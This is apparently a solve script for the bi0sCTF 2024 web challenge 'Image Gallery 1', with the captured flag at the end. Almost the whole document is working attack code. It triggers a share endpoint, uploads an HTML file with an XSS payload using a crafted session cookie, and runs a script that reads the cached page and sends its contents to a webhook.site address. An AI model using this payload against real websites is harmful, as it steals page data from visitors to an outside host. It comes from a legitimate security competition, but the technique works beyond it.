bi0sCTF 2024 - Image Gallery 1 (web)

solve.py

import httpx
import time

CHALL_URL = "https://ch1688140851.ch.eng.run"


def share() -> None:
    with httpx.Client(base_url=CHALL_URL) as client:
        try:
            r = client.post("/share", json={"id": "x"}, timeout=1)
            print(r.text)
        except httpx.ReadTimeout:
            pass
    print("shared")


def xss() -> None:
    print("XSS")
    payload = """
<img src="https://webhook.site/a77477e4-614b-4ed2-b974-61eb7416b0d6/hit">
<script>
fetch('/', {
    cache: 'force-cache',
}).then(r => r.text()).then(r => {
    location = 'https://webhook.site/a77477e4-614b-4ed2-b974-61eb7416b0d6/?f='+encodeURIComponent(r);
});
</script>
""".strip()
    with httpx.Client(base_url=CHALL_URL) as client:
        client.cookies["sid"] = "."
        r = client.post("/upload", files={"image": ("index.html", payload)})
        print(r.text)

    print("result:")
    with httpx.Client(base_url=CHALL_URL) as client:
        r = client.get("/?f=x")
        print(r.text)


share()
time.sleep(2)
xss()

# bi0sctf{I+B0iSyK78sVsU0IWxypiQ==}